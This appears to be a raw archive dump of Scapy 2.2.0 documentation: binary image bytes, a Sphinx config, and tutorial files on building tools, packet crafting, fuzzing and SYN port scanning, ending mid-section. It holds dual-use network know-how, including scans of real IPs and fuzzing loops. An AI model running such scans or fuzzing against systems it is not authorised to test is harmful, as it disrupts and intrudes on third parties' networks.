AJ5|ĹÉsªªª¾bPçmï6-ßT-œˆÿŠT›.OâÜPK-8—²§“goÑ’Cø˜…lµ(âÐhÙy0¾€ö¸¯á_/Ÿ­•[ø‘œÅpà±^–^lñN„Ú=Òò^`d§àN”äPH{§þÕé>Öâõ³V\¬w¾°Ùle\^4m\~ŽS*7¡ËòÉ“Å÷Ž_Š^‡£§Î? *‡ äe|?Ƕ¼c˳~8d{(Æ„(®œÅüûI›*)BðŽ"måI€´¯†y8ïðƒs=€¨¯AtäPHz§ºÿ“;ËÌoÁ.fü†©èÀ½cÏ6¯> œì+Ëe.Kå&tY>y eùzý ÷óü£f‚—qmcAïi™kÇ.;¿±À´qãFôKä,©¨ n@'EðÞQ¦M@ < fŸþ5ëacp®‡¸¯AtäPH3…pp¶ŽŒsƒoÍm¬wö :§þl‚ÿ“š¤rº,Ÿ< f¤sW'³ŒÓ$*/£œ™ÙÚ=ô1Ëh21g¸q®ä2Áy'’mø< è]yÈ;dcp®‡¨¯AtäPHyç:s‘³¾ÎçM¶$|`ä¶ÿ…øI ?b¹eŸÜTÝgðÇü¨ûhÖ½.•—Q.ؤÜÂ/›SP_Ë›—óÁyG¡6ò$ wZ“\Ð;dcp®‡¨¯AtäPHyç"süZ ©+ÓYÆÎí¬xebÒ©Ü”]øn*üÖ;þ‰Äö»Ž¡ò2Êãø»gåþm9‹ ]Èy‡NŠà¼£P›€@yÐ;`þnè²1˜×õ5ˆŽ )ïxÐÞÔ¦½÷ ÈC¹!g¯ þ!•›ÐuyçIœˆ¹Ô–R À ¦þÕ>ð ÊË(·ð‹WÄÃjdŒœÅdœwè¤Î;‘lÀçI ï|™½C6{‡îk%9’ç;Û¶;OŒ}ÜÌ,jug~rß©37t´¦¿Ý 71ÛÞztĉ܄®¸wžDsÖl6 úzç¾o€ãå{œ$œ—á¹±;Áá`o‘\d¾j~l€ƒëjR–„þ­ ÐKÙÛ³ïð+‡ú,)ÜíBRÞi³ŽÚœo‚ÞÁÐ;UB]NiŽuÍ“²ù1Þ;¬NØ}|S‚rñôf}Õÿ™´z–z=¥¼CV_BvIyg ²ÿ*è z/·tÇkŽuW‹„‰”w\sÿB%©¢ƒõ †­6žN÷>…†{’Åk¼CV<†“2„݉¤¼3µjÐ1‹@ïå–î¥ç³î”ˆw\3àXÞôÕ¢%:b¢—~ɤUSÐpÃ8ñªð1‹è7¦±‹q‡ )ïŒEg\gÐÏD ÷rK÷ÇÒóYwJØ;×'ü‘ûŒWÓÈMpPÏP$ØîèfЛx9 ïT&ûL’_RÞÉÅðg¢ w\B]Viu§$xçtòÞDŸ„¾m\O†"´Y™IMrö…;¡f wZ„¿< ïxÛ«[$å{ÜZç‘ÌOnRÄ—P—UZcÝ© ‡˜khw³?a)Üâ\t>üîPaîÄözòæÀåm‡ú¤'']hʵ²û4áËkvL[äð²fu|m÷lˆH¼w<¢kôª Ãàu ÌÛ¤ˆ;.¡.«´Æº}Ènç Ð1€Ûb´'Ù%Ì}v$w•t>ÝÔo‡xÒ²Þ¦)ܽ"áËc¿´l@Ëžº²[¶ÂKÐ;ßœ»ÚrÛëÞ Ïµ‹ ÷%Ô»Q=•u÷U‡§\ï³›½}Ýw)/Ù, 2ªðôÞöýGÏ^iq©öYh4ßN¦<ë¶.)ôQ[8ïüO¥ÞÑYw‹õÎ5Õ2:ë®bAïTéüŽ®P´…¿Fÿ?ÿÿìoLeÇ  ’š-¼1Ñé 4Ù‚[–Mã¢F³MH¶¹•%²DL6õ…:“UæXÌdTÙ Â@è63 WÛL-A›ü)¤»Âø[ ÿnÝ2Ç”ó®×öž»{JÏÚç(ÉóyQÂñkŸ_Òoú<¹|øgó_ÁÙÁ$ vN1‰‚³£1\w¥¼tàì(C,×])/ dG÷>ªf|;YÝû…ªîyæçnít¼'¸^±Ä+y“óçóF!å­Ì2E~ñäåJM‰d!uÝöÒQÀdÇl½1Ñ/;€ë~¼g'Š·–9jê›Ç ó÷Û·‹ÿ#@ÜËÈŽ6h@Ïž‚ ®«º å³¢˜wºö¢ûît‰ë®´—Ž&;æž©ÁxÙiU+ÓO)÷^†Æð¹6Ö%¡—|-ó|ihÕõBA–‰ëN)í¥£€ËάhÏ⦎ó¢9àºk5šÁ"p4yD—‹Äuf‡zñ«U{±i4?Çè%h8¼{ïìY"_~i¾|ò³×Ô Ö£ºŠÞ.=˜ŒìÈsÝ÷ÒQÍNxê8/š®{½þX:XŒ&ªñr‘¸îÂìt«®¬Ú˰^Ÿ[£—“ÏT4Wª ©PvϱÛB´œÜ²«ò‹œSàz ÓoS%#;2]w¥½tÀ²ÃOŠæà>aNEG“j¼<$®;ŸÌ²²ã›Çíå’½¼ÇžueÌC~zV–Ê–n 0iQÏóëyr˜çÎ>‰lÏ’ºîJ{é(€e‡Ÿ:Í¥ÙŒ&Ôø„‰dgƒFS\¿. ^ìÏ>}°äör~Ñð@F?XþÔ~N÷9gsë™ì×JFväºî<Šxé(8 É?u<*šK³M¨ñ #8ïÄï… ¤°·òÈf-Åwæåêר êEüzMÙì§ÀþddG®ëΣˆ—Ž‚ Hvø©ãQÑtݹì@F“j¼LÄ®»4;qzáÂéå;äz4c8+GË÷½Ì¾±µÀžåL»Älzjd{ÄuçQÄKGA9쬙:Í×}ŠlL'Ý~Øhr@—‡Øu§¦É/w’cA*`ÌŽœWéÅO’{>!§)X/û²Œ3'6ÍS³o}þÅhywæÑÎéOŸpQA7»+ŠÝÚ=^¤*De·J\we¼tpÙ™ñ ²™:ÍY®û‚:$gëa£ÉA5^b×Ý·™}í´«Ô·*UÆXÜ^N†ZÉ Àz9ðîÕ†fŠÊU©²¸»|¹ýÕŒô¼v漜ºTÀ|ægo|§¯Ž±ëΣ—Ž.;wZE÷ÃSÇ¢¹äcW2š:þ“P/ Áà8ü®tïœøŠ_r%©ÄrÝ•òÒQÀœ•-±]÷TÍS©—ˆáº+奣 âüåöîÏ,;©$š§R/ŽPvœž›¢¿¥’hžJ½`8ÊÏ6\ÿux曇kÝ f]q¦êR›ÃéyÈfgåîZwƒYGø¾®n"z\ ØìÐ÷׺Ì:Âzæ¢ÉÖç„Ü/zei­ûÁ¬\§Ï_n³N.že‡þ‡#a}•Ñd»ášÿã&—šþ §—àHsé¹Ú ÇàäÝåÅHv˜ë‘×Ýßy­þ\µÁ`øƒQ]]UzªÜ`lé°ßr{—išÏ½âw÷ÙLFCÍ…‹µÆê0 5Õ†cãUÂ~óöÜŸ´ ;ôâä Ãljjii5™®\Ã`´´46·þÔÑÙý;éYt9ïÁì,/¸o9l+‹ ƒbµš-¶.GÿðøüÒ=ïÔè˜úžÇ=Ô×Û‡Á@ù­·oÀéžöÝçâ"ÈÍÄÉ}›Ä` ¸È±ÉYßÒßá´ü ÿÿŠ‚ÊÇôIEND®B`‚scapy-2.2.0/doc/scapy/conf.py0000644000175000017500000001311311532602153014120 0ustar pbipbi# -*- coding: utf-8 -*- # # Scapy documentation build configuration file, created by # sphinx-quickstart on Mon Sep 8 19:37:39 2008. # # This file is execfile()d with the current directory set to its containing dir. # # The contents of this file are pickled, so don't put values in the namespace # that aren't pickleable (module imports are okay, they're removed automatically). # # All configuration values have a default value; values that are commented out # serve to show the default value. import sys, os # If your extensions are in another directory, add it here. If the directory # is relative to the documentation root, use os.path.abspath to make it # absolute, like shown here. #sys.path.append(os.path.abspath('some/directory')) # General configuration # --------------------- # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = [] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General substitutions. project = 'Scapy' copyright = '2008, 2009 Philippe Biondi and the Scapy community' # The default replacements for |version| and |release|, also used in various # other places throughout the built documents. # # The short X.Y version. version = '2.2.0' # The full version, including alpha/beta/rc tags. release = '2.2.0' # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. today_fmt = '%B %d, %Y' # List of documents that shouldn't be included in the build. #unused_docs = [] # List of directories, relative to source directories, that shouldn't be searched # for source files. #exclude_dirs = [] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # Options for HTML output # ----------------------- # The style sheet to use for HTML and HTML Help pages. A file of that name # must exist either in Sphinx' static/ path, or in one of the custom paths # given in html_static_path. html_style = 'default.css' # The name for this set of Sphinx documents. If None, it defaults to # " v documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (within the static path) to place at the top of # the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. html_use_modindex = False # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, the reST sources are included in the HTML build as _sources/. #html_copy_source = True # If true, an OpenSearch description file will be output, and all pages will # contain a tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # If nonempty, this is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = '' # Output file base name for HTML help builder. htmlhelp_basename = 'Scapydoc' # Options for LaTeX output # ------------------------ # The paper size ('letter' or 'a4'). latex_paper_size = 'a4' # The font size ('10pt', '11pt' or '12pt'). latex_font_size = '11pt' # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, document class [howto/manual]). latex_documents = [ ('index', 'Scapy.tex', 'Scapy Documentation', 'Philippe Biondi and the Scapy community', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # Additional stuff for the LaTeX preamble. #latex_preamble = '' # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. latex_use_modindex = False scapy-2.2.0/doc/scapy/extending.rst0000644000175000017500000000657711316746513015371 0ustar pbipbi******************** Build your own tools ******************** You can use Scapy to make your own automated tools. You can also extend Scapy without having to edit its source file. If you have built some interesting tools, please contribute back to the mailing-list! Using Scapy in your tools ========================= You can easily use Scapy in your own tools. Just import what you need and do it. This first example take an IP or a name as first parameter, send an ICMP echo request packet and display the completely dissected return packet:: #! /usr/bin/env python import sys from scapy.all import sr1,IP,ICMP p=sr1(IP(dst=sys.argv[1])/ICMP()) if p: p.show() This is a more complex example which does an ARP ping and reports what it found with LaTeX formating:: #! /usr/bin/env python # arping2tex : arpings a network and outputs a LaTeX table as a result import sys if len(sys.argv) != 2: print "Usage: arping2tex \n eg: arping2tex 192.168.1.0/24" sys.exit(1) from scapy.all import srp,Ether,ARP,conf conf.verb=0 ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=sys.argv[1]), timeout=2) print r"\begin{tabular}{|l|l|}" print r"\hline" print r"MAC & IP\\" print r"\hline" for snd,rcv in ans: print rcv.sprintf(r"%Ether.src% & %ARP.psrc%\\") print r"\hline" print r"\end{tabular}" Here is another tool that will constantly monitor all interfaces on a machine and print all ARP request it sees, even on 802.11 frames from a Wi-Fi card in monitor mode. Note the store=0 parameter to sniff() to avoid storing all packets in memory for nothing:: #! /usr/bin/env python from scapy.all import * def arp_monitor_callback(pkt): if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") sniff(prn=arp_monitor_callback, filter="arp", store=0) For a real life example, you can check `Wifitap `_. Extending Scapy with add-ons ============================ If you need to add some new protocols, new functions, anything, you can write it directly into Scapy source file. But this is not very convenient. Even if those modifications are to be integrated into Scapy, it can be more convenient to write them in a separate file. Once you've done that, you can launch Scapy and import your file, but this is still not very convenient. Another way to do that is to make your file executable and have it call the Scapy function named interact():: #! /usr/bin/env python # Set log level to benefit from Scapy warnings import logging logging.getLogger("scapy").setLevel(1) from scapy.all import * class Test(Packet): name = "Test packet" fields_desc = [ ShortField("test1", 1), ShortField("test2", 2) ] def make_test(x,y): return Ether()/IP()/Test(test1=x,test2=y) if __name__ == "__main__": interact(mydict=globals(), mybanner="Test add-on v3.14") If you put the above listing in the test_interact.py file and make it executable, you'll get:: # ./test_interact.py Welcome to Scapy (0.9.17.109beta) Test add-on v3.14 >>> make_test(42,666) >> scapy-2.2.0/doc/scapy/introduction.rst0000644000175000017500000002556611170743163016120 0ustar pbipbi************ Introduction ************ .. sectionauthor:: Philippe Biondi About Scapy =========== Scapy is a Python program that enables the user to send, sniff and dissect and forge network packets. This capability allows construction of tools that can probe, scan or attack networks. In other words, Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. Scapy can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery. It can replace hping, arpspoof, arp-sk, arping, p0f and even some parts of Nmap, tcpdump, and tshark). .. image:: graphics/testing-taxonomy.* :scale: 50 Scapy also performs very well on a lot of other specific tasks that most other tools can't handle, like sending invalid frames, injecting your own 802.11 frames, combining techniques (VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc. The idea is simple. Scapy mainly does two things: sending packets and receiving answers. You define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like Nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet. On top of this can be build more high level functions, for example one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report. What makes Scapy so special =========================== First, with most other networking tools, you won't build someting the author did not imagine. These tools have been built for a specific goal and can't deviate much from it. For example, an ARP cache poisoning program won't let you use double 802.1q encapsulation. Or try to find a program that can send, say, an ICMP packet with padding (I said *padding*, not *payload*, see?). In fact, each time you have a new need, you have to build a new tool. Second, they usually confuse decoding and interpreting. Machines are good at decoding and can help human beings with that. Interpretation is reserved to human beings. Some programs try to mimic this behaviour. For instance they say "*this port is open*" instead of "*I received a SYN-ACK*". Sometimes they are right. Sometimes not. It's easier for beginners, but when you know what you're doing, you keep on trying to deduce what really happened from the program's interpretation to make your own, which is hard because you lost a big amount of information. And you often end up using ``tcpdump -xX`` to decode and interpret what the tool missed. Third, even programs which only decode do not give you all the information they received. The network's vision they give you is the one their author thought was sufficient. But it is not complete, and you have a bias. For instance, do you know a tool that reports the Ethernet padding? Scapy tries to overcome those problems. It enables you to build exactly the packets you want. Even if I think stacking a 802.1q layer on top of TCP has no sense, it may have some for somebody else working on some product I don't know. Scapy has a flexible model that tries to avoid such arbitrary limits. You're free to put any value you want in any field you want, and stack them like you want. You're an adult after all. In fact, it's like building a new tool each time, but instead of dealing with a hundred line C program, you only write 2 lines of Scapy. After a probe (scan, traceroute, etc.) Scapy always gives you the full decoded packets from the probe, before any interpretation. That means that you can probe once and interpret many times, ask for a traceroute and look at the padding for instance. Fast packet design ------------------ Other tools stick to the **program-that-you-run-from-a-shell** paradigm. The result is an awful syntax to describe a packet. For these tools, the solution adopted uses a higher but less powerful description, in the form of scenarios imagined by the tool's author. As an example, only the IP address must be given to a port scanner to trigger the **port scanning** scenario. Even if the scenario is tweaked a bit, you still are stuck to a port scan. Scapy's paradigm is to propose a Domain Specific Language (DSL) that enables a powerful and fast description of any kind of packet. Using the Python syntax and a Python interpreter as the DSL syntax and interpreter has many advantages: there is no need to write a separate interpreter, users don't need to learn yet another language and they benefit from a complete, concise and very powerful language. Scapy enables the user to describe a packet or set of packets as layers that are stacked one upon another. Fields of each layer have useful default values that can be overloaded. Scapy does not oblige the user to use predetermined methods or templates. This alleviates the requirement of writing a new tool each time a different scenario is required. In C, it may take an average of 60 lines to describe a packet. With Scapy, the packets to be sent may be described in only a single line with another line to print the result. 90\% of the network probing tools can be rewritten in 2 lines of Scapy. Probe once, interpret many -------------------------- Network discovery is blackbox testing. When probing a network, many stimuli are sent while only a few of them are answered. If the right stimuli are chosen, the desired information may be obtained by the responses or the lack of responses. Unlike many tools, Scapy gives all the information, i.e. all the stimuli sent and all the responses received. Examination of this data will give the user the desired information. When the dataset is small, the user can just dig for it. In other cases, the interpretation of the data will depend on the point of view taken. Most tools choose the viewpoint and discard all the data not related to that point of view. Because Scapy gives the complete raw data, that data may be used many times allowing the viewpoint to evolve during analysis. For example, a TCP port scan may be probed and the data visualized as the result of the port scan. The data could then also be visualized with respect to the TTL of response packet. A new probe need not be initiated to adjust the viewpoint of the data. .. image:: graphics/scapy-concept.* :scale: 80 Scapy decodes, it does not interpret ------------------------------------ A common problem with network probing tools is they try to interpret the answers received instead of only decoding and giving facts. Reporting something like **Received a TCP Reset on port 80** is not subject to interpretation errors. Reporting **Port 80 is closed** is an interpretation that may be right most of the time but wrong in some specific contexts the tool's author did not imagine. For instance, some scanners tend to report a filtered TCP port when they receive an ICMP destination unreachable packet. This may be right, but in some cases it means the packet was not filtered by the firewall but rather there was no host to forward the packet to. Interpreting results can help users that don't know what a port scan is but it can also make more harm than good, as it injects bias into the results. What can tend to happen is that so that they can do the interpretation themselves, knowledgeable users will try to reverse engineer the tool's interpretation to derive the facts that triggered that interpretation. Unfortunately much information is lost in this operation. Quick demo ========== First, we play a bit and create four IP packets at once. Let's see how it works. We first instantiate the IP class. Then, we instantiate it again and we provide a destination that is worth four IP addresses (/30 gives the netmask). Using a Python idiom, we develop this implicit packet in a set of explicit packets. Then, we quit the interpreter. As we provided a session file, the variables we were working on are saved, then reloaded:: # ./scapy.py -s mysession New session [mysession] Welcome to Scapy (0.9.17.108beta) >>> IP() >>> target="www.target.com" >>> target="www.target.com/30" >>> ip=IP(dst=target) >>> ip |> >>> [p for p in ip] [, , , ] >>> ^D :: # scapy -s mysession Using session [mysession] Welcome to Scapy (0.9.17.108beta) >>> ip |> Now, let's manipulate some packets:: >>> IP() >>> a=IP(dst="172.16.1.40") >>> a >>> a.dst '172.16.1.40' >>> a.ttl 64 Let's say I want a broadcast MAC address, and IP payload to ketchup.com and to mayo.com, TTL value from 1 to 9, and an UDP payload:: >>> Ether(dst="ff:ff:ff:ff:ff:ff") /IP(dst=["ketchup.com","mayo.com"],ttl=(1,9)) /UDP() We have 18 packets defined in 1 line (1 implicit packet) Sensible default values ----------------------- Scapy tries to use sensible default values for all packet fields. If not overriden, * IP source is chosen according to destination and routing table * Checksum is computed * Source MAC is chosen according to the output interface * Ethernet type and IP protocol are determined by the upper layer .. image:: graphics/default-values-ip.png :scale: 60 Other fields’ default values are chosen to be the most useful ones: * TCP source port is 20, destination port is 80. * UDP source and destination ports are 53. * ICMP type is echo request. Learning Python =============== Scapy uses the Python interpreter as a command board. That means that you can directly use the Python language (assign variables, use loops, define functions, etc.) If you are new to Python and you really don't understand a word because of that, or if you want to learn this language, take an hour to read the very good `Python tutorial `_ by Guido Van Rossum. After that, you'll know Python :) (really!). For a more in-depth tutorial `Dive Into Python `_ is a very good start too. For a quick start, here's an overview of Python's data types: * ``int`` (signed, 32bits) : ``42`` * ``long`` (signed, infinite): ``42L`` * ``str`` : ``"bell\x07\n"`` or ``’bell\x07\n’`` * ``tuple`` (immutable): ``(1,4,"42")`` * ``list`` (mutable): ``[4,2,"1"]`` * ``dict` (mutable): ``{ "one":1 , "two":2 }`` There are no block delimiters in Python. Instead, indendation does matter:: if cond: instr instr elif cond2: instr else: instr scapy-2.2.0/doc/scapy/_templates/0000755000175000017500000000000011532602317014761 5ustar pbipbiscapy-2.2.0/doc/scapy/_templates/_dummy0000644000175000017500000000000011170743162016166 0ustar pbipbiscapy-2.2.0/doc/scapy/usage.rst0000644000175000017500000017524611271157564014512 0ustar pbipbi***** Usage ***** Starting Scapy ============== Scapy's interactive shell is run in a terminal session. Root privileges are needed to send the packets, so we're using ``sudo`` here:: $ sudo scapy Welcome to Scapy (2.0.1-dev) >>> On Windows, please open a command prompt (``cmd.exe``) and make sure that you have administrator privileges:: C:\>scapy INFO: No IPv6 support in kernel WARNING: No route found for IPv6 destination :: (no default route?) Welcome to Scapy (2.0.1-dev) >>> If you do not have all optional packages installed, Scapy will inform you that some features will not be available:: INFO: Can't import python gnuplot wrapper . Won't be able to plot. INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). The basic features of sending and receiving packets should still work, though. Interactive tutorial ==================== This section will show you several of Scapy's features. Just open a Scapy session as shown above and try the examples yourself. First steps ----------- Let's build a packet and play with it:: >>> a=IP(ttl=10) >>> a < IP ttl=10 |> >>> a.src ’127.0.0.1’ >>> a.dst="192.168.1.1" >>> a < IP ttl=10 dst=192.168.1.1 |> >>> a.src ’192.168.8.14’ >>> del(a.ttl) >>> a < IP dst=192.168.1.1 |> >>> a.ttl 64 Stacking layers --------------- The ``/`` operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer. :: >>> IP() >>> IP()/TCP() > >>> Ether()/IP()/TCP() >> >>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n" >> >>> Ether()/IP()/IP()/UDP() >>> >>> IP(proto=55)/TCP() > .. image:: graphics/fieldsmanagement.* :scale: 90 Each packet can be build or dissected (note: in Python ``_`` (underscore) is the latest result):: >>> str(IP()) 'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01' >>> IP(_) >>> a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n" >>> hexdump(a) 00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00 ...7.D...R....E. 00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23 .C....@.x<....B# FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .....P........P. 20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78 ..9..GET /index 2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A .html HTTP/1.0 . 0A . >>> b=str(a) >>> b '\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0 \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00 \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n' >>> c=Ether(b) >>> c >>> We see that a dissected packet has all its fields filled. That's because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default:: >>> c.hide_defaults() >>> c >>> Reading PCAP files ------------------ .. index:: single: rdpcap() You can read packets from a pcap file and write them to a pcap file. >>> a=rdpcap("/spare/captures/isakmp.cap") >>> a Graphical dumps (PDF, PS) ------------------------- .. index:: single: pdfdump(), psdump() If you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality...):: >>> a[423].pdfdump(layer_shift=1) >>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1) .. image:: graphics/isakmp_dump.png ======================= ==================================================== Command Effect ======================= ==================================================== str(pkt) assemble the packet hexdump(pkt) have an hexadecimal dump ls(pkt) have the list of fields values pkt.summary() for a one-line summary pkt.show() for a developped view of the packet pkt.show2() same as show but on the assembled packet (checksum is calculated, for instance) pkt.sprintf() fills a format string with fields values of the packet pkt.decode_payload_as() changes the way the payload is decoded pkt.psdump() draws a PostScript diagram with explained dissection pkt.pdfdump() draws a PDF with explained dissection pkt.command() return a Scapy command that can generate the packet ======================= ==================================================== Generating sets of packets -------------------------- For the moment, we have only generated one packet. Let see how to specify sets of packets as easily. Each field of the whole packet (ever layers) can be a set. This implicidely define a set of packets, generated using a kind of cartesian product between all the fields. :: >>> a=IP(dst="www.slashdot.org/30") >>> a >>> [p for p in a] [, , , ] >>> b=IP(ttl=[1,2,(5,9)]) >>> b >>> [p for p in b] [, , , , , , ] >>> c=TCP(dport=[80,443]) >>> [p for p in a/c] [>, >, >, >, >, >, >, >] Some operations (like building the string from a packet) can't work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet. =============== ==================================================== Command Effect =============== ==================================================== summary() displays a list of summaries of each packet nsummary() same as previous, with the packet number conversations() displays a graph of conversations show() displays the prefered representation (usually nsummary()) filter() returns a packet list filtered with a lambda function hexdump() returns a hexdump of all packets hexraw() returns a hexdump of the Raw layer of all packets padding() returns a hexdump of packets with padding nzpadding() returns a hexdump of packets with non-zero padding plot() plots a lambda function applied to the packet list make table() displays a table according to a lambda function =============== ==================================================== Sending packets --------------- .. index:: single: Sending packets, send Now that we know how to manipulate packets. Let's see how to send them. The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It's up to you to choose the right interface and the right link layer protocol. :: >>> send(IP(dst="1.2.3.4")/ICMP()) . Sent 1 packets. >>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1") .... Sent 4 packets. >>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2) ................^C Sent 16 packets. >>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay ........... Sent 11 packets. Fuzzing ------- .. index:: single: fuzz(), fuzzing The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables to quicky built fuzzing templates and send them in loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized:: >>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1) ................^C Sent 16 packets. Send and receive packets (sr) ----------------------------- .. index:: single: sr() Now, let's try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only return one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.). :: >>> p=sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX") Begin emission: ...Finished to send 1 packets. .* Received 5 packets, got 1 answers, remaining 0 packets >>> p >>> >>> p.show() ---[ IP ]--- version = 4L ihl = 5L tos = 0x0 len = 39 id = 15489 flags = frag = 0L ttl = 42 proto = ICMP chksum = 0x51dd src = 66.35.250.151 dst = 192.168.5.21 options = '' ---[ ICMP ]--- type = echo-reply code = 0 chksum = 0xee45 id = 0x0 seq = 0x0 ---[ Raw ]--- load = 'XXXXXXXXXXX' ---[ Padding ]--- load = '\x00\x00\x00\x00' .. index:: single: DNS, Etherleak A DNS query (``rd`` = recursion desired). The host 192.168.5.1 is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw:: >>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org"))) Begin emission: Finished to send 1 packets. ..* Received 3 packets, got 1 answers, remaining 0 packets an= ns=0 ar=0 |>>> The "send'n'receive" functions family is the heart of scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions:: >>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23])) Received 6 packets, got 3 answers, remaining 0 packets (, ) >>> ans,unans=_ >>> ans.summary() IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding If there is a limited rate of answers, you can specify a time interval to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, scapy will try to resend unanswered packets 3 times. If retry is -3, scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent:: >>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1) Begin emission: Finished to send 12 packets. Begin emission: Finished to send 9 packets. Begin emission: Finished to send 9 packets. Received 100 packets, got 3 answers, remaining 9 packets (, ) SYN Scans --------- .. index:: single: SYN Scan Classic SYN Scan can be initialized by executing the following command from Scapy's prompt:: >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S")) The above will send a single SYN packet to Google's port 80 and will quit after receving a single response:: Begin emission: .Finished to send 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >> From the above output, we can see Google returned “SA†or SYN-ACK flags indicating an open port. Use either notations to scan ports 400 through 443 on the system: >>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S")) or >>> 